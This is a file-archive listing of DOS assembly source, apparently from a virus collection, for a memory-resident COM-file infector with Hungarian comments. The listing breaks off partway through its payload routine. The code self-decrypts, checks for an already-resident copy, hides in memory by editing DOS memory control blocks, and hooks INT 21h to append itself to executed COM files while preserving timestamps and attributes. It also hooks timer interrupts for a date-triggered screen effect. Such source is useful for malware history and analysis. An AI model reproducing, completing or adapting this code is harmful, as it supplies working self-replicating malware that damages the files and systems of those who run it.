home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / s / s70x.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  20.0 KB  |  781 lines

  1.     PAGE ,132
  2.  
  3. VIRUS    SEGMENT PARA PUBLIC 'CODE'
  4.  
  5.     ASSUME CS:VIRUS,DS:VIRUS
  6.  
  7.  
  8.  
  9. R1    EQU IDE-131H
  10.  
  11. R2    EQU BE1-1A3H
  12.  
  13. HOSSZ    EQU VEG-KEZDET
  14.  
  15.  
  16.  
  17.     ORG 100H
  18.  
  19. KEZDET    EQU $
  20.  
  21.     DB 1
  22.  
  23.     CLI
  24.  
  25.     MOV BP,SP
  26.  
  27.     CALL IDE
  28.  
  29. IDE:    POP BX        ; A CIM VISSZAOLVASASA
  30.  
  31.     SUB BX,131H
  32.  
  33.     TEST CS:BYTE PTR [BX+KEZDET-R1],1
  34.  
  35.     JZ INDIT
  36.  
  37.     LEA SI,[BX+INDIT-R1]
  38.  
  39.     MOV SP,OFFSET VEG-INDIT
  40.  
  41. FOLYT:    XOR [SI],SI
  42.  
  43.     XOR [SI],SP
  44.  
  45.     INC SI
  46.  
  47.     DEC SP
  48.  
  49.     JNZ FOLYT
  50.  
  51. INDIT:    MOV SP,BP
  52.  
  53.     JMP BEEPUL
  54.  
  55.  
  56.  
  57. REGCIM    DW 100H
  58.  
  59. VSZ    DW 0
  60.  
  61. MENTAX    DW 0
  62.  
  63. PRGKEZ    DB 0,0,0
  64.  
  65.     DW 0
  66.  
  67. REG1C    DD 0
  68.  
  69. REG21    DD 0
  70.  
  71. REG28    DD 0
  72.  
  73.     DW 0
  74.  
  75. FILATT    DW 0
  76.  
  77. FILDAT    DW 0
  78.  
  79. FILIDO    DW 0
  80.  
  81. FILNEV    DD 0
  82.  
  83. FILHOS    DD 0
  84.  
  85. UJKEZD    DB 0E9H,0,0
  86.  
  87. VIDOSZL    DB 0
  88.  
  89. VIDSOR    DB 0
  90.  
  91. VIDMOD    DB 0
  92.  
  93. OLVKAR    DB 0
  94.  
  95. OLVATT    DB 0
  96.  
  97. STATUS    DB 0
  98.  
  99. VIDKEZ    DW 0
  100.  
  101. VIDOFS    DW 0
  102.  
  103. IDOEGYS    DW 0
  104.  
  105. SZAML    DW 0
  106.  
  107. SZAMLEL    DW 0
  108.  
  109. MAXKAR    DW 0
  110.  
  111. POTYKAR    DW 0
  112.  
  113. ORA    DB 16 DUP(0)
  114.  
  115.  
  116.  
  117. BEEPUL:    CALL BE1
  118.  
  119. BE1:    POP BX
  120.  
  121.     SUB BX,1A3H
  122.  
  123.     MOV CS:[BX+VSZ-R2],CS    ;  A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE
  124.  
  125.     MOV CS:[BX+MENTAX-R2],AX
  126.  
  127.     MOV AX,CS:[BX+PRGKEZ-R2]
  128.  
  129.     MOV DS:100H,AX        ;  AZ ELSO HAROM BYTE VISSZAALLITASA
  130.  
  131.     MOV AL,CS:[BX+PRGKEZ+2-R2]
  132.  
  133.     MOV DS:102H,AL
  134.  
  135.     PUSH BX
  136.  
  137.     MOV AH,30H        ;  A DOS VERZIOSZAM BEOLVASASA
  138.  
  139.     INT 21H
  140.  
  141.     POP BX
  142.  
  143.     CMP AL,2
  144.  
  145.     JB VISSZA        ;  HA KISEBB, MINT A 2.0 VERZIO
  146.  
  147.     MOV AX,4BFFH        ;  A VIRUS AKTIVALTSAG ELLENORZESE
  148.  
  149.     XOR DI,DI        ;  DI=0
  150.  
  151.     XOR SI,SI        ;  SI=0
  152.  
  153.     INT 21H            ;  A VIRUS MAR A MEMORIABAN?
  154.  
  155.     CMP DI,55AAH        ;  HA DI=55AA, AKKOR MAR AKTIV
  156.  
  157.     JNZ BE2            ;  UGRAS, HA MAR MUKODIK
  158.  
  159.     JB BE3            ;  MINDIG HAMIS
  160.  
  161. VISSZA:    STI            ;  ELINDITJA A GAZDAPROGRAMOT
  162.  
  163.     PUSH DS
  164.  
  165.     POP ES            ;  AZ ES VISSZAALLITASA
  166.  
  167.     MOV AX,CS:[BX+MENTAX-R2]
  168.  
  169.     JMP DWORD PTR CS:[BX+REGCIM-R2]
  170.  
  171. BE2:    PUSH BX
  172.  
  173.     MOV AX,3521H
  174.  
  175.     INT 21H            ;  A 21H MEGSZAKITASVEKTOR BEOLVASASA
  176.  
  177.     MOV AX,BX
  178.  
  179.     POP BX            ;  ES ELTAROLASA A TABLAZATBAN
  180.  
  181. BE3:    MOV CS:[BX+REG21-R2],AX
  182.  
  183.     MOV CS:[BX+REG21+2-R2],ES
  184.  
  185.     MOV AX,0F000H
  186.  
  187.     MOV ES,AX
  188.  
  189.     MOV DI,0E008H
  190.  
  191.     CMP WORD PTR [DI],4F43H    ;  'COPR. IBM'+00H ELLENORZESE /LENNE/
  192.  
  193.     JNZ BE4
  194.  
  195.     CMP WORD PTR [DI+2],5250H
  196.  
  197.     JNZ BE4
  198.  
  199.     CMP WORD PTR [DI+4],202EH
  200.  
  201.     JNZ BE4
  202.  
  203.     CMP WORD PTR [DI+6],4249H
  204.  
  205.     JNZ BE4
  206.  
  207.     CMP WORD PTR [DI+8],4DH
  208.  
  209.     JZ VISSZA
  210.  
  211. BE4:    MOV AX,HOSSZ/10H+11H    ;  A VIRUS HOSSZA+100H PARAGRAFUSBAN
  212.  
  213.     MOV BP,CS        ;  ES RAALLITASA A PROGRAMOT MEGELOZO
  214.  
  215.     DEC BP            ;  MCB-RE
  216.  
  217.     MOV ES,BP
  218.  
  219.     MOV SI,CS:[16H]
  220.  
  221.     MOV ES:[1],SI
  222.  
  223.     MOV DX,ES:[3]        ;  A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE
  224.  
  225.     MOV ES:[3],AX
  226.  
  227.     MOV ES:BYTE PTR [0],4DH    ;  NEM UTOLSO MCB
  228.  
  229.     SUB DX,AX        ;  AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS
  230.  
  231.     DEC DX            ;  HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB
  232.  
  233.     INC BP
  234.  
  235.     ADD BP,AX
  236.  
  237.     INC BP
  238.  
  239.     MOV ES,BP
  240.  
  241.     PUSH BX
  242.  
  243.     MOV AH,50H
  244.  
  245.     MOV BX,BP
  246.  
  247.     INT 21H
  248.  
  249.     POP BX
  250.  
  251.     XOR DI,DI        ;  DI=0
  252.  
  253.     PUSH ES
  254.  
  255.     POP SS            ;  SS=ES -  AZ UJ VEREM AZ UJ HELYEN LESZ
  256.  
  257.     PUSH DI
  258.  
  259.     LEA DI,[BX+VEG-R2-1]    ;  A PROGRAM VEGEROL
  260.  
  261.     MOV SI,DI
  262.  
  263.     MOV CX,OFFSET HOSSZ     ;  A VIRUST /CX-BE A VIRUS HOSSZA KERUL/
  264.  
  265.     STD            ;  VISSZAFELE
  266.  
  267.     REPZ MOVSB        ;  FELMASOLJA
  268.  
  269.     PUSH ES
  270.  
  271.     LEA CX,[BX+BE9-R2]    ;  KOZVETLEN VEZERLESATADAS AZ UJ HELYEN
  272.  
  273.     PUSH CX            ;  LEVO VIRUSRA.  A PROGRAM VALOJABAN A 
  274.  
  275.     RETF            ;  RETF UTASITAS UTAN FOLYTATODIK
  276.  
  277. BE9:    MOV CS:[BX+VSZ-R2],CS    ;  AZ UJ SZEGMENSCIM AZ INDITASHOZ
  278.  
  279.     LEA CX,[BX+KEZDET-R2]    ;  A PROGRAM HOSSZA VIRUS NELKUL
  280.  
  281.     REPZ MOVSB        ;  A PROGRAM 'FELHUZASA' A VIRUS ALA
  282.  
  283.     MOV CS:36H,CS
  284.  
  285.     DEC BP            ;  AZ UJ MCB SZEGMENSCIME
  286.  
  287.     MOV ES,BP        ;  ATTOLTENI ES-BE
  288.  
  289.     MOV ES:[3],DX        ;  BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT
  290.  
  291.     MOV ES:BYTE PTR [0],5AH    ;  ES EZ AZ UTOLSO MCB
  292.  
  293.     MOV ES:WORD PTR [1],CS    ;  A PROGRAM SZEGMENSCIME
  294.  
  295.     INC BP            ;  ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA
  296.  
  297.     MOV ES,BP        ;  A PROGRAM ELEJERE
  298.  
  299.     PUSH DS
  300.  
  301.     POP ES            ;  ES=DS
  302.  
  303.     PUSH CS
  304.  
  305.     POP DS            ;  DS=CS
  306.  
  307.     LEA SI,[BX+KEZDET-R2]    ;  A PROGRAM HOSSZA VIRUS NELKUL
  308.  
  309.     MOV DI,100H
  310.  
  311.     MOV CX,OFFSET HOSSZ    ;  A VIRUS HOSSZA
  312.  
  313.     CLD            ;  A VIRUS LEMASOLASA A PROGRAM ELOTT
  314.  
  315.     REPZ MOVSB        ;  FELSZABADULT HELYRE
  316.  
  317.     PUSH ES            ;  ES KOZVETLEN VEZERLESATADAS A VEGLEGES
  318.  
  319.     LEA AX,DS:BE8        ;  HELYEN TALALHATO VIRUS SZAMARA
  320.  
  321.     PUSH AX            ;  AZ UGRAS AZ UJ VIRUS RETF UTASITASA
  322.  
  323.     RETF            ;  UTAN TORTENIK
  324.  
  325. BE8:    MOV CS:WORD PTR [2CH],0
  326.  
  327.     MOV CS:16H,CS
  328.  
  329.     PUSH DS            ;  DS ERTEKET ELMENTENI
  330.  
  331.     LEA DX,DS:UJ21        ;  AZ UJ INT 21H CIMENEK BEALLITASA
  332.  
  333.     PUSH CS            ;  DS=CS
  334.  
  335.     POP DS
  336.  
  337.     MOV AX,2521H
  338.  
  339.     INT 21H
  340.  
  341.     POP DS            ;  DS REGI ERTEKE
  342.  
  343.     MOV AH,1AH
  344.  
  345.     MOV DX,80H
  346.  
  347.     INT 21H            ;  A DTA CIM BEALLITASA
  348.  
  349.     CALL BEMAS        ;  A RENDSZERIDO BEMASOLASA A TABLAZATBA
  350.  
  351.     MOV AH,2AH
  352.  
  353.     INT 21H            ;  RENDSZERDATUM BEOLVASASA
  354.  
  355.     CMP CX,1988        ;  A MAI DATUM NAGYOBB, MINT 1988?
  356.  
  357.     JA BE5            ;  IGEN:  CSAK FERTOZES
  358.  
  359.     JZ BE6            ;  IDEN VAN 1988
  360.  
  361.     CMP CX,1980        ;  1980 VAN?
  362.  
  363.     JNZ BE5            ;  IGEN:  CSAK FERTOZES
  364.  
  365.     PUSH DS
  366.  
  367.     MOV AX,3528H
  368.  
  369.     INT 21H            ;  A 28H VEKTOR BEOLVASASA, ES ELTAROLASA
  370.  
  371.     MOV CS:WORD PTR REG28,BX
  372.  
  373.     MOV CS:WORD PTR REG28+2,ES
  374.  
  375.     MOV AX,2528H
  376.  
  377.     MOV DX,OFFSET UJ28    ;  DX-BE AZ UJ INT 28H OFFSZETJE
  378.  
  379.     PUSH CS
  380.  
  381.     POP DS            ;  DS=CS
  382.  
  383.     INT 21H            ;  A MEGSZAKITASI VEKTOR BEALLITASA
  384.  
  385.     POP DS
  386.  
  387.     OR CS:STATUS,1000B    ;  A POTYOGAS LETILTASA
  388.  
  389.     JMP BE7
  390.  
  391. BE6:    CMP DH,0AH        ;  CSAK OKTOBERTOL DECEMBERIG POTYOG
  392.  
  393.     JB BE5            ;  MEG NINCS
  394.  
  395. BE7:    CALL KESLH        ;  A KESLELTETESI ERTEK MEGHATAROZASA
  396.  
  397.     MOV AX,1518H
  398.  
  399.     CALL VELETL
  400.  
  401.     INC AX
  402.  
  403.     MOV CS:SZAML,AX        ;  A BELSO VALTOZOK BEALLITASA
  404.  
  405.     MOV CS:SZAMLEL,AX
  406.  
  407.     MOV CS:POTYKAR,1
  408.  
  409.     MOV AX,351CH
  410.  
  411.     INT 21H            ;  AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA
  412.  
  413.     MOV CS:WORD PTR REG1C,BX
  414.  
  415.     MOV CS:WORD PTR REG1C+2,ES
  416.  
  417.     PUSH DS
  418.  
  419.     MOV AX,251CH
  420.  
  421.     MOV DX,OFFSET UJ1C    ;  AZ UJ INT 1CH OFFSZETJE
  422.  
  423.     PUSH CS            ;  ES SZEGMENSE
  424.  
  425.     POP DS
  426.  
  427.     INT 21H            ;  AZ 1CH VEKTOR BEALLITASA
  428.  
  429.     POP DS
  430.  
  431. BE5:    MOV BX,0FFD6H
  432.  
  433.     JMP VISSZA
  434.  
  435.  
  436.  
  437. UJ21:    CMP AH,4BH        ;  A FUNKCIOKOD 4BH?
  438.  
  439.     JZ U21_1        ;  IGEN
  440.  
  441. U21_2:    JMP DWORD PTR CS:REG21    ;  FOLYTATAS A REGI INT 21H-N
  442.  
  443. U21_3:    MOV DI,55AAH        ;  A VIRUS AKTIVALTSAGA
  444.  
  445.     LES AX,CS:REG21
  446.  
  447.     MOV DX,CS
  448.  
  449.     IRET
  450.  
  451. U21_1:    CMP AL,0FFH        ;  A VIRUS AKTIVALTSAG KERDEZESE?
  452.  
  453.     JZ U21_3        ;  IGEN
  454.  
  455.     CMP AL,0        ;  BETOLTES & INDITAS?
  456.  
  457.     JNZ U21_2        ;  NEM
  458.  
  459.     PUSHF            ;  A REGISZTEREK MENTESE
  460.  
  461.     PUSH AX
  462.  
  463.     PUSH BX
  464.  
  465.     PUSH CX
  466.  
  467.     PUSH DX
  468.  
  469.     PUSH SI
  470.  
  471.     PUSH DI
  472.  
  473.     PUSH BP
  474.  
  475.     PUSH ES
  476.  
  477.     PUSH DS
  478.  
  479.     MOV CS:WORD PTR FILNEV,DX
  480.  
  481.     MOV CS:WORD PTR FILNEV+2,DS
  482.  
  483.     PUSH CS
  484.  
  485.     POP ES
  486.  
  487.     MOV AX,3D00H
  488.  
  489.     INT 21H            ;  A FILE MEGNYITASA OLVASASRA
  490.  
  491.     JC FERT1
  492.  
  493.     MOV BX,AX        ;  A FILESZAM ATVITELE BX-BE
  494.  
  495.     MOV AX,5700H
  496.  
  497.     INT 21H            ;  A KELETKEZESI IDO BEOLVASASA
  498.  
  499.     MOV CS:FILDAT,DX    ;  ES ELTAROLASA
  500.  
  501.     MOV CS:FILIDO,CX
  502.  
  503.     MOV AH,3FH
  504.  
  505.     PUSH CS
  506.  
  507.     POP DS
  508.  
  509.     MOV DX,OFFSET PRGKEZ
  510.  
  511.     MOV CX,3
  512.  
  513.     INT 21H            ;  AZ ELSO HAROM BYTE BEOLVASASA
  514.  
  515.     JC FERT1
  516.  
  517.     CMP AX,CX        ;  SIKERULT MINDENT BEOLVASNI?
  518.  
  519.     JNZ FERT1        ;  NEM, HIBA TORTENT
  520.  
  521.     MOV AX,4202H
  522.  
  523.     XOR CX,CX
  524.  
  525.     XOR DX,DX
  526.  
  527.     INT 21H            ;  FILE HOSSZANAK A MEGHATAROZASA
  528.  
  529.     MOV CS:WORD PTR FILHOS,AX
  530.  
  531.     MOV CS:WORD PTR FILHOS+2,DX
  532.  
  533.     MOV AH,3EH
  534.  
  535.     INT 21H            ;  A FILE LEZARASA
  536.  
  537.     CMP CS:WORD PTR PRGKEZ,5A4DH
  538.  
  539.     JNZ FERT2        ;  COM FILE?
  540.  
  541.     JMP FERT3        ;  EXE ESETEN VISSZATERES
  542.  
  543. FERT2:    CMP CS:WORD PTR FILHOS+2,0
  544.  
  545.     JA FERT1        ;  NAGYOBB, MINT 64K?
  546.  
  547.     CMP CS:WORD PTR FILHOS,0F93BH
  548.  
  549.     JBE FERT7        ;  A FILE MEG MEGFELELO MERETU
  550.  
  551. FERT1:    JMP FERT3
  552.  
  553. FERT7:    CMP CS:PRGKEZ,0E9H    ;  JMP UTASITAS?
  554.  
  555.     JNZ FERT8        ;  NEM
  556.  
  557.     MOV AX,CS:WORD PTR FILHOS
  558.  
  559.     ADD AX,0F959H        ;  FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK?
  560.  
  561.     CMP AX,CS:WORD PTR PRGKEZ+1
  562.  
  563.     JZ FERT1        ;  EZ A FILE MAR FERTOZOTT
  564.  
  565. FERT8:    MOV AX,4300H
  566.  
  567.     LDS DX,CS:FILNEV
  568.  
  569.     INT 21H            ;  A FILE ATTRIBUTUMANAK BEOLVASASA
  570.  
  571.     JC FERT1
  572.  
  573.     MOV CS:FILATT,CX    ;  AZ ATTRIBUTUM TAROLASA
  574.  
  575.     XOR CL,20H        ;  AZ ARCHIV BIT INVERTALASA
  576.  
  577.     TEST CL,27H
  578.  
  579.     JZ FERT5
  580.  
  581.     MOV AX,4301H
  582.  
  583.     XOR CX,CX
  584.  
  585.     INT 21H            ;  AZ UJ ATTRIBUTUM FELIRASA
  586.  
  587.     JC FERT1
  588.  
  589. FERT5:    MOV AX,3D02H
  590.  
  591.     INT 21H            ;  FILE NYITASA IRASRA & OLVASASRA
  592.  
  593.     JC FERT1
  594.  
  595.     MOV BX,AX        ;  FILE SORSZAM BX-BE
  596.  
  597.     MOV AX,4202H
  598.  
  599.     XOR CX,CX
  600.  
  601.     XOR DX,DX
  602.  
  603.     INT 21H            ;  MUTATO A FILE VEGERE
  604.  
  605.     CALL UTANMAS        ;  A VIRUST UTANAMASOLNI
  606.  
  607.     JNC FERT9        ;  SIKERULT?
  608.  
  609.     MOV AX,4200H
  610.  
  611.     MOV CX,CS:WORD PTR FILHOS+2
  612.  
  613.     MOV DX,CS:WORD PTR FILHOS
  614.  
  615.     INT 21H            ;  MUTATO A FILE EREDETI VEGERE
  616.  
  617.     MOV AH,40H
  618.  
  619.     XOR CX,CX
  620.  
  621.     INT 21H            ;  A FILEHOSSZ FELIRASA
  622.  
  623.     JMP FERT6
  624.  
  625. FERT9:    MOV AX,4200H
  626.  
  627.     XOR CX,CX
  628.  
  629.     XOR DX,DX
  630.  
  631.     INT 21H            ;  MUTATO A FILE ELEJERE
  632.  
  633.     JC FERT6
  634.  
  635.     MOV AX,CS:WORD PTR FILHOS
  636.  
  637.     ADD AX,0FFFEH        ;  AZ UGRASI CIM KISZAMITASA
  638.  
  639.     MOV CS:WORD PTR UJKEZD+1,AX
  640.  
  641.     MOV AH,040H
  642.  
  643.     MOV DX,OFFSET UJKEZD
  644.  
  645.     MOV CX,3
  646.  
  647.     INT 21H            ;  AZ ELSO HAROM BYTE KIIRASA
  648.  
  649. FERT6:    MOV AX,5701H
  650.  
  651.     MOV DX,CS:FILDAT    ;  A DATUM
  652.  
  653.     MOV CX,CS:FILIDO    ;  ES IDO BEOLVASASA
  654.  
  655.     INT 21H            ;  ES BEALLITASA
  656.  
  657.     MOV AH,3EH
  658.  
  659.     INT 21H            ;  A FILE LEZARASA
  660.  
  661.     MOV CX,CS:FILATT    ;  AZ ATTRIBUTUM BEOLVASASA
  662.  
  663.     TEST CL,111B        ;  R/O, REJTETT VAGY RENDSZER?
  664.  
  665.     JNZ FERTA
  666.  
  667.     TEST CL,100000B        ;  ARCHIV FILE?
  668.  
  669.     JNZ FERT3
  670.  
  671. FERTA:    MOV AX,4301H
  672.  
  673.     LDS DX,CS:FILNEV
  674.  
  675.     INT 21H            ;  A FILE ATTRIBUTUMANAK BEALLITASA
  676.  
  677. FERT3:    POP DS            ;  A REGISZTEREK VISSZAOLVASASA
  678.  
  679.     POP ES
  680.  
  681.     POP BP
  682.  
  683.     POP DI
  684.  
  685.     POP SI
  686.  
  687.     POP DX
  688.  
  689.     POP CX
  690.  
  691.     POP BX
  692.  
  693.     POP AX
  694.  
  695.     POPF
  696.  
  697.     JMP U21_2
  698.  
  699.  
  700.  
  701. VELETL    PROC NEAR        ;  EGY VELETLENSZAM ELOALLITASA
  702.  
  703.     PUSH DS
  704.  
  705.     PUSH CS
  706.  
  707.     POP DS
  708.  
  709.     PUSH BX
  710.  
  711.     PUSH CX
  712.  
  713.     PUSH DX
  714.  
  715.     PUSH AX
  716.  
  717.     MOV CX,7
  718.  
  719.     MOV BX,OFFSET ORA+0EH
  720.  
  721.     PUSH [BX]
  722.  
  723. VEL1:    MOV AX,[BX-2]
  724.  
  725.     ADC [BX],AX
  726.  
  727.     DEC BX
  728.  
  729.     DEC BX
  730.  
  731.     LOOP VEL1
  732.  
  733.     POP AX
  734.  
  735.     ADC [BX],AX
  736.  
  737.     MOV DX,[BX]
  738.  
  739.     POP AX
  740.  
  741.     OR AX,AX
  742.  
  743.     JZ VEL2
  744.  
  745.     MUL DX
  746.  
  747. VEL2:    MOV AX,DX
  748.  
  749.     POP DX            ;  REGISZTEREK VISSZAALLITASA
  750.  
  751.     POP CX
  752.  
  753.     POP BX
  754.  
  755.     POP DS
  756.  
  757.     RET
  758.  
  759. VELETL    ENDP
  760.  
  761.  
  762.  
  763. BEMAS    PROC NEAR        ;  A RENDSZERIDO BEMASOLASA A TABLAZATBA
  764.  
  765.     PUSH DS            ;  A REGISZTEREK ELMENTESE
  766.  
  767.     PUSH ES
  768.  
  769.     PUSH SI
  770.  
  771.     PUSH DI
  772.  
  773.     PUSH CX
  774.  
  775.     PUSH CS            ;  ES=CS
  776.  
  777.     POP ES
  778.  
  779.     MOV CX,40H        ;  FORRAS= 0000:046CH
  780.  
  781.     MOV DS,CX        ;  AZ ORA BEMASOLASA
  782.  
  783.     MOV DI,OFFSET ORA
  784.  
  785.     MOV SI,6CH
  786.  
  787.     MOV CX,8        ;  16 BYTE
  788.  
  789.     CLD            ;  NOVEKVO IRANYBA
  790.  
  791.     REPZ MOVSW
  792.  
  793.     POP CX            ;  A REGISZEREK ELOZO ERTEKEINEK
  794.  
  795.     POP DI            ;  VISSZAALLITASA
  796.  
  797.     POP SI
  798.  
  799.     POP ES
  800.  
  801.     POP DS
  802.  
  803.     RET            ;  VISSZATERES
  804.  
  805. BEMAS    ENDP    
  806.  
  807.  
  808.  
  809. VIDOLV    PROC NEAR        ;  OLVASAS A VIDEORAM-BOL
  810.  
  811.     PUSH SI            ;  REGISZTEREK ELMENTESE
  812.  
  813.     PUSH DS
  814.  
  815.     PUSH DX
  816.  
  817.     MOV AL,DH
  818.  
  819.     MUL VIDOSZL        ;  A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK
  820.  
  821.     MOV DH,0        ;  SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA
  822.  
  823.     ADD AX,DX
  824.  
  825.     SHL AX,1        ;  SZORZAS KETTOVEL (KAR.+ATTRIB.)
  826.  
  827.     ADD AX,VIDOFS        ;  ELTOLAS A SZEGMENSEN BELUL
  828.  
  829.     MOV SI,AX
  830.  
  831.     TEST VIDMOD,11111111B    ;  HAVAZIK A KEPERNYO?
  832.  
  833.     MOV DS,VIDKEZ
  834.  
  835.     JZ VO3            ;  NEM HAVAZIK
  836.  
  837.     MOV DX,3DAH        ;  A CGA KARTYA STATUSZPORTJA
  838.  
  839.     CLI            ;  A MEGSZAKITASOKAT LETILTANI
  840.  
  841. VO1:    IN AL,DX        ;  A STATUSZ BEOLVASASA
  842.  
  843.     TEST AL,1000B        ;  FUGGOLEGES VISSZAFUTAS
  844.  
  845.     JNZ VO3
  846.  
  847.     TEST AL,1        ;  VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL
  848.  
  849.     JNZ VO1
  850.  
  851. VO2:    IN AL,DX
  852.  
  853.     TEST AL,1
  854.  
  855.     JZ VO2
  856.  
  857. VO3:    LODSW            ;  A KARAKTER ES ATTRIBUTUM BEOLVASASA
  858.  
  859.     STI            ;  A MEGZAKITAS ELLENORZESE
  860.  
  861.     POP DX            ;  REGISZTEREK VISSZAOLVASASA
  862.  
  863.     POP DS
  864.  
  865.     POP SI
  866.  
  867.     RET
  868.  
  869. VIDOLV    ENDP
  870.  
  871.  
  872.  
  873. VIDIR    PROC NEAR        ;  KIIRAS A VIDEORAM-BA
  874.  
  875.     PUSH DI            ;  REGISZTEREK ELMENTESE
  876.  
  877.     PUSH ES
  878.  
  879.     PUSH DX
  880.  
  881.     PUSH BX
  882.  
  883.     MOV BX,AX        ;  A KARAKTER ES AZ ATTRIBUTUM ELMENTESE
  884.  
  885.     MOV AL,DH        ;  A CIM KISZAMITASA
  886.  
  887.     MUL VIDOSZL
  888.  
  889.     MOV DH,0
  890.  
  891.     ADD AX,DX
  892.  
  893.     SHL AX,1        ;  SZORZAS KETTOVEL
  894.  
  895.     ADD AX,VIDOFS
  896.  
  897.     MOV DI,AX
  898.  
  899.     TEST VIDMOD,11111111B    ;  HAVAZIK A KEPERNYO?
  900.  
  901.     MOV ES,VIDKEZ
  902.  
  903.     JZ VI3            ;  NEM HAVAZIK
  904.  
  905.     MOV DX,03DAH        ;  A CGA KARTYA STATUSZPORTJA
  906.  
  907.     CLI            ;  MEGSZAKITASOKAT TILTANI
  908.  
  909. VI1:    IN AL,DX        ;  A STATUSZT BEOLVASNI
  910.  
  911.     TEST AL,1000B        ;  FUGGOLEGES VISSZAFUTAS?
  912.  
  913.     JNZ VI3            ;  IGEN
  914.  
  915.     TEST AL,1        ;  IRHATUNK A VIDEORAM-BA?
  916.  
  917.     JNZ VI1            ;  HA IGEN, AKKOR VARJUNK MEG
  918.  
  919. VI2:    IN AL,DX        ;  A STATUSZ BEOLVASASA
  920.  
  921.     TEST AL,1        ;  VARJUK MEG, AMIRE ISMET OLVASHATUNK
  922.  
  923.     JZ VI2
  924.  
  925. VI3:    MOV AX,BX        ;  A KARAKTER ES AZ ATTRIBUTUM BETOLTESE
  926.  
  927.     STOSB            ;  BEIRASA A VIDEORAM-BA
  928.  
  929.     STI            ;  A MEGSZAKITASOK MAR ENGEDELYEZHETOK
  930.  
  931.     POP BX            ;  A REGISZTEREK VISSZAALITASA
  932.  
  933.     POP DX
  934.  
  935.     POP ES
  936.  
  937.     POP DI
  938.  
  939.     RET            ;  VISSZATERES
  940.  
  941. VIDIR    ENDP
  942.  
  943.  
  944.  
  945. VARAK    PROC NEAR        ;  VARAKOZAS CX IDEIG
  946.  
  947.     PUSH CX
  948.  
  949. V1:    PUSH CX
  950.  
  951.     MOV CX,IDOEGYS
  952.  
  953. V2:    LOOP V2
  954.  
  955.     POP CX
  956.  
  957.     LOOP V1
  958.  
  959.     POP CX
  960.  
  961.     RET
  962.  
  963. VARAK     ENDP
  964.  
  965.  
  966.  
  967. HANGSZ    PROC NEAR        ;  A HANGSZORO ATKAPCSOLASA
  968.  
  969.     PUSH AX            ;  AX ELMENTESE
  970.  
  971.     IN AL,61H        ;  A PPI BEOLVASASA
  972.  
  973.     XOR AL,2        ;  A HANGSZORO ATKAPCSOLASA
  974.  
  975.     AND AL,11111110B    ;  ENGEDELYEZESE
  976.  
  977.     OUT 61H,AL        ;  VISSZAIRASA
  978.  
  979.     POP AX            ;  AX VISSZAALLITASA
  980.  
  981.     RET            ;  VISSZATERES
  982.  
  983. HANGSZ    ENDP
  984.  
  985.  
  986.  
  987. URES    PROC NEAR
  988.  
  989.     CMP AL,0        ;  NUL KODJA?
  990.  
  991.     JZ UR1            ;  IGEN
  992.  
  993.     CMP AL,20H        ;  SZOKOZ?
  994.  
  995.     JZ UR1            ;  IGEN
  996.  
  997.     CMP AL,0FFH        ;  0FFH IS URES
  998.  
  999.     JZ UR1            ;  AZ
  1000.  
  1001.     CLC            ;  NEM URES
  1002.  
  1003.     RET            ;  VISSZATERES
  1004.  
  1005. UR1:    STC            ;  URES
  1006.  
  1007.     RET            ;  VISSZATERES
  1008.  
  1009. URES    ENDP
  1010.  
  1011.  
  1012.  
  1013. GRAFIK    PROC NEAR
  1014.  
  1015.     CMP AL,0B0H        ;  0B0H<=AL<=0DFH?
  1016.  
  1017.     JB GR1            ;  NEM
  1018.  
  1019.     CMP AL,0DFH
  1020.  
  1021.     JA GR1            ;  NEM
  1022.  
  1023.     STC            ;  IGEN
  1024.  
  1025.     RET            ;  VISSZATERES
  1026.  
  1027. GR1:    CLC            ;  NEM GRAFIKUS
  1028.  
  1029.     RET            ;  VISSZATERES
  1030.  
  1031. GRAFIK    ENDP
  1032.  
  1033.  
  1034.  
  1035. KESLH    PROC NEAR        ;  A KESLELTETESI ERTEK MEGHATAROZASA
  1036.  
  1037.     PUSH DS
  1038.  
  1039.     MOV AX,40H
  1040.  
  1041.     MOV DS,AX
  1042.  
  1043.     STI
  1044.  
  1045.     MOV AX,DS:6CH        ;  AZ ORA BEOLVASASA
  1046.  
  1047. KES1:    CMP AX,DS:6CH        ;  VARAKOZAS, MIG AZ ORA EPPEN NEM LEP
  1048.  
  1049.     JZ KES1
  1050.  
  1051.     XOR CX,CX        ;  CX NULLAZASA
  1052.  
  1053.     MOV AX,DS:6CH        ;  AZ ORA BEOLVASASA
  1054.  
  1055. KES2:    INC CX            ;  CX=CX+1
  1056.  
  1057.     JZ KES4            ;  HA TULCSORDULT
  1058.  
  1059.     CMP AX,DS:6CH        ;  LEPETT MAR AZ ORA?
  1060.  
  1061.     JZ KES2            ;  MEG NEM
  1062.  
  1063. KES3:    POP DS
  1064.  
  1065.     MOV AX,CX
  1066.  
  1067.     XOR DX,DX
  1068.  
  1069.     MOV CX,0FH
  1070.  
  1071.     DIV CX
  1072.  
  1073.     MOV CS:IDOEGYS,AX    ;  AZ IDOEGYSEG ELTAROLASA
  1074.  
  1075.     RET
  1076.  
  1077. KES4:    DEC CX
  1078.  
  1079.     JMP KES3
  1080.  
  1081. KESLH    ENDP
  1082.  
  1083.  
  1084.  
  1085. POTY    PROC NEAR        ;  POTYOGTATAS
  1086.  
  1087.     MOV VIDSOR,24
  1088.  
  1089.     PUSH DS
  1090.  
  1091.     MOV AX,40H        ;  A BIOS PARAMETERBLOKK
  1092.  
  1093.     MOV DS,AX
  1094.  
  1095.     MOV AX,DS:4EH        ;  A VIDEOPUFFER OFSZET ERTEKE
  1096.  
  1097.     POP DS
  1098.  
  1099.     MOV VIDOFS,AX
  1100.  
  1101.     MOV DL,0FFH
  1102.  
  1103.     MOV AX,1130H
  1104.  
  1105.     MOV BH,0
  1106.  
  1107.     PUSH ES            ;  ES & BP ELMENTESE
  1108.  
  1109.     PUSH BP
  1110.  
